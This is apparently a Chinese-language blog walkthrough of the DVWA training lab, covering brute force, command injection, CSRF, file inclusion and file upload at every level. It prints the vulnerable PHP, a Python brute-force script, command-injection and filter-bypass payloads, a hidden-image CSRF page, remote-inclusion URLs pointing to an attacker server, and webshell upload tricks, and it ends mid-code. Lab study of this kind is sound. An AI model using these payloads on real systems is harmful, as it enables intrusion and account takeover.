DVWA全级别漏洞复现

前言

考研大半年没碰安全方面,考完研,想重新拾起网络安全方面的知识,想起来重新复现一遍DVWA,新的一年,希望能温故知新。另一方面,新版的dvwa1.9新增了几个新模块,博主之前未分析过,也学习一下分享一下。

BruteForce(暴力破解)

很熟悉了,直接看代码吧。

Low

<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];

// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到第3行,只验证了参数Login知否设置,没有防爆破方法,参数username和password都是没有任何过滤,直接拼接的,还存在明显的SQL注入漏洞。

漏洞利用

方法 1 暴力破解

方法2 SQl注入

username=admin '# &password=1

Medium

Low的区别就在于这,增加了$userpass的过滤,mysql_real_escape_string对特殊符号转义,加上对象判断,基本上能防御sql注入。但是并没有增防止加爆破的机制。依然可以通过爆破来爆破出密码,同上不做赘述。

<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

?>

high

增加了user_token用于防御CSRF,登陆时需要验证4个参数:username,password,Login,user_token.

// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。token不一致时,会返回

CSRF token is incorrect

这个增加了无脑爆破的难度,但是因为生成的user_token是可以在放在前端代码,可以写脚本来爆破,但是直接burpsuite无脑爆肯定是不行的了。

漏洞利用

# BruteForce 
from bs4 import BeautifulSoup
import requests

headers = {
'Host':'192.168.220.1',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Upgrade-Insecure-Requests': '1',
'Accept': '*/*',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36',
'Cookie':'security=high; PHPSESSID=igtb1sfu1lm1gb9e4ug06i0d1e',
'Connection': 'close'
}
url = 'http://192.168.220.1/dvwa/vulnerabilities/brute/index.php'

def get_token(url, headers):
req = requests.get(url=url, headers=headers)
response = req.text
# print(response)
soup = BeautifulSoup(response, "html.parser")
user_token = soup.form.find_all('input')[3]['value']
return user_token

user_token = get_token(url,headers)
dic = open('3389.txt')
i = 0
for line in dic:
# print(line.strip())
requrl = "http://192.168.220.1/dvwa/vulnerabilities/brute/index.php?username=admin&password={}&Login=Login&user_token={}".format(line.strip(), user_token)
i += 1
req = requests.get(requrl, headers)
print(i,'admin',line.strip(), user_token, req.status_code, len(req.text))
response = req.text
soup = BeautifulSoup(response, "html.parser")
user_token = soup.form.find_all('input')[3]['value']

Impossible

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;

// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();

/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/

// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}

// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];

// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";

// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}

// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );

// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

做了可靠的爆破机制:

30-38: 如果三次登录失败,就锁定15分钟,避免了无限制爆破。

每一步的数据库操作,都做了SQL语句的预处理,使用PDO(Php Data Object)防御SQL注入。

PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。

当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符 ? 发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,他们是分开传送的,两者独立的,SQL攻击者没有一点机会。

PDO防止sql注入的机制

Command Injection(命令注入)

命令注入,一般在通过php进行系统接口调用的时候容易出现。

Low

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

stristr — strstr() 函数的忽略大小写版本

stristr ( string $haystack , mixed $needle [, bool $before_needle = FALSE ] ) : string

返回 haystack 字符串从 needle 第一次出现的位置开始到结尾的字符串。可选参数before_true为布尔型,默认为“false”,如果设置为“true”,函数将返回search参数第一次出现之前的字符串部分。

php_uname返回系统信息。这两个函数只是判断一下系统,关键在于shell_exec()函数,直接接受$ip作为参数,没有任何过滤和检查,完全信任用户输入,可以直接&& cmd执行命令。

127.0.0.1 && whoami

Medium

增加了简单的黑名单过滤,将&&和;替换成空值,但是明显是很容易绕过的。比如用&或者双写绕过。

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

127.0.0.1 & whoami
127.0.0.1 &;& whoami

这里使用一个&来绕过,但是&&&是有区别的:

cmd1 && cmd2		cmd1执行成功,再执行cmd2,否则不执行cmd2
cmd1 & cmd2 cmd1和cmd2都要执行
C:\Users\DELL>ping 12345 && whoami

正在 Ping 0.0.48.57 具有 32 字节的数据:
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。

0.0.48.57 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失),

C:\Users\DELL>ping 12345 & whoami

正在 Ping 0.0.48.57 具有 32 字节的数据:
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。

0.0.48.57 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失),
desktop-iknkost\dell

High

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

扩大了黑名单的范围,用trim去除字符串尾部的空白字符或者换行符等。

这里只过滤的| (|后面一个空格),但是还存在 |(|前面有一个空格)

127.0.0.1 |whoami
127.0.0.1|whoami

Command 1 | Command 2

“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。

impossible

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

stripslashes(string)

stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。

explode(separator,string,limit)

把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。

通过.分割IP,然后判断IP每个部分是否是数字,不是就报错。防御住命令注入。

CSRF(跨站请求伪造)

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

说实话,都快忘光了。

Low

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制。

也就是说,以任何方式欺骗受害者点击这个链接或者伪装成别的样子的这个链接,都会导致用户密码更改

http://192.168.220.1/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change

常见的伪装方式:

  1. 短链接来隐藏url

    需要注意的是,虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。

  2. 精心构造攻击页面

    现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。

    <img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>

    当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack。而原来的密码password就登不上去了。

Medium

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

stripos( $string ,$pattern)

string中pattern的位置,如果有返回位置序号,反之False。

可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.220.1),希望通过这种机制抵御CSRF攻击。

漏洞利用

过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.220.1)我们可以将攻击页面命名为192.168.220.1.html或者放到文件夹192.168.220.1

192.168.253.129是攻击者的服务器。

High

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

漏洞利用

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。

这就需要利用XSS弹cookie,得到cookie中的token, 加入token后访问才行。

这里利用dvwa的存储型XSS的漏洞,来弹token。

Impossible

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

File inclusion(文件包含)

文件包含,分为两种:本地文件包含和远程文件包含。当服务器开启allow_url_include选项的时候,就可以通过php的包含函数(类似python,java的import)include(),require(),require_once(),include_once()利用url去动态包含文件,此时如果没有对文件来源进行检查,就容易导致任意文件读取和任意命令执行。

Low

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

一行代码,十分简单,对page参数没有做任何的过滤跟检查。

服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

page参数可控,可以先尝试本地文件包含。

尝试?page=/etc/shadow

但是因为我的环境直接放在Windows,没有报错了,而且爆出了网站路径,可以进一步查找php.ini(php的配置文件)

?page=D:\Environment\phpstudy_pro\WWW\dvwa\php.ini
或者
page=..\..\..\..\..\..\..\Environment\phpstudy_pro\WWW\dvwa\php.ini

This file attempts to overwrite the original php.ini file. Doesnt always work.
magic_quotes_gpc = Off
allow_url_fopen on
allow_url_include on

发现是允许远程文件包含。配置文件中的Magic_quote_gpc选项为off。在php版本<5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别。使用%00截断可以绕过某些过滤规则,例如要求page参数的后缀必须为php。

因为打开allow_url_fopenallow_url_include还可以通过远程文件包含,可以通过远程文件包含,可以导致任意代码执行。

?page=http://192.168.253.129/test.txt

需要注意,文件是一般文件(比如txt),然后远程文件包含的时候当做php执行,这样就可以在靶机执行任意代码。但是如果远程包含一个php文件,就只是直接访问而已(以远程文件所在的服务器环境执行),而不是执行代码。如下(我的靶机是Windows, 远程文件放在Linux):

Medium

相比于Low级别,加了一点过滤。

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

http://或者https://或者../,..\替换成空。

但是这种程度的过滤,平角裤平角裤…

一方面,我们仍然可以通过双写绕过过滤字符,二方面,可以采用绝对路径进行本地文件包含。

?page=htthttp://p://192.168.253.129/test.txt

High

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

fnmatch ( string $pattern , string $string [, int $flags = 0 ] ) : bool

fnmatch() 检查传入的 string 是否匹配给出的 shell 统配符 pattern

匹配文件名,只能是file*,但是我们依然可以利用file://协议来读取文件!

?page=file:///D:/Environment/PhpStudy2018/PHPTutorial/WWW/dvwa/php.ini

至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含(本地文件包含)上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

Impossible

<php
//Thepagewewishtodisplay
$file=$_GET['page'];

//Onlyallowinclude.phporfile{1..3}.php
if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}

>

可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为include.php、file1.php、file2.php、file3.php之一,彻底杜绝了文件包含漏洞。

File Upload(文件上传)

上传文件漏洞,通常时候由于对上传文件的类型、内容没有做严格过滤检查,使得攻击者可以通过上传木马来getshell。

Low

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>

basename(path, suffix)

函数返回路径中的文件名部分,如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。

可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

文件上传漏洞的利用是有限制条件的

  1. 首先当然是要能够成功上传木马文件

  2. 其次上传文件必须能够被执行

  3. 最后就是上传文件的路径必须可知。

不幸的是,这里三个条件全都满足。上传一个一句话木马。

../../hackable/uploads/v0w.php succesfully uploaded!

Medium

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

相比于low级别,验证了上传的文件类型要是image/jpeg || image/png。burp接收,修改字段Content-Type即可。

High

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

增加了文件后缀的白名单,又要后缀满足条件又要能执行,如果是php<5.3.4的情况,可以利用%00截断文件名。而在其他版本,或许可以考虑上传jpg,利用其他漏洞读上传的文件。

利用%00截断(php版本<5.3.4)

上传写有一句话的的马,命令为v0w.php .jpg,然后修改空格为0x00,从而截断,服务器会认为该文件为v0w.php,同时又可以通过后缀名的检测。

注意:这里所说的%00,是指0x00,在burpsuite中修改时,需要在hex中修改

结合包含漏洞进行攻击(php>5.3.4)

我们只能上传v0w.jpg(写有一句话木马),但是作为jpg文件,没法执行。同时我们知道上传文件的路径

../../hackable/uploads/v0w.jpg succesfully uploaded!

File Inclusion中,我们爆出了WWW的路径,拼接一下得到完整的v0w.jpg的路径。然后我们可以利用file://来读这个图片。

http://192.168.220.1/dvwa/vulnerabilities/fi/?page=file:///D:/Environment/PhpStudy2018/PHPTutorial/WWW/dvwa/hackable/uploads/v0w.jpg

Impossible

<?php 

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
